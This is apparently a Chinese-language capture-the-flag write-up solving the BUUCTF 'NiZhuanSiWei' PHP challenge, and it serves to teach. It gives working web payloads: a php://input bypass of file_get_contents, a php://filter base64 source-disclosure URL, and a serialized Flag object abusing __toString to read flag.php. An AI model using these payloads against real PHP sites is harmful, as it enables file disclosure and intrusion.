9.1 BUUCTF [ZJCTF 2019]NiZhuanSiWei
很好的一道题目
整体思路没问题 只是没反应到用 filter查看 useless.php(...)
分析源码:
首先要解决:
file_get_contents($text,'r')==="..."
的问题
上网查询 file_get_contents($filename,'r') 是 读取filename文件内的内容
我们不可能找出一个文件 所以利用常见的绕过方法
php://input 绕过 file_get_contents
构造
?text=php://input
然后在 POST 上传 ... 即可绕过
接下来有个 //useless.php
这种一定要敏锐的意识到
可以用 php://filter 伪协议读取
构造
?file=php://filter/convert.base64-encode/resource=useless.php
base6解密后查看源码:
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
找到了需要反序列化的对象的类的相关情况
关于反序列化漏洞的几个常见出现点
尤其注意类中有 __destruct __toString 等方法
__toString() 当我们 echo 一个对象时就会触发
根据本题源码 可知 只要 file="flag.php"即可
构造出 序列化的结果 O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
构造
?password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
整个payload拼起来 burpsuite重发即可获得flag{}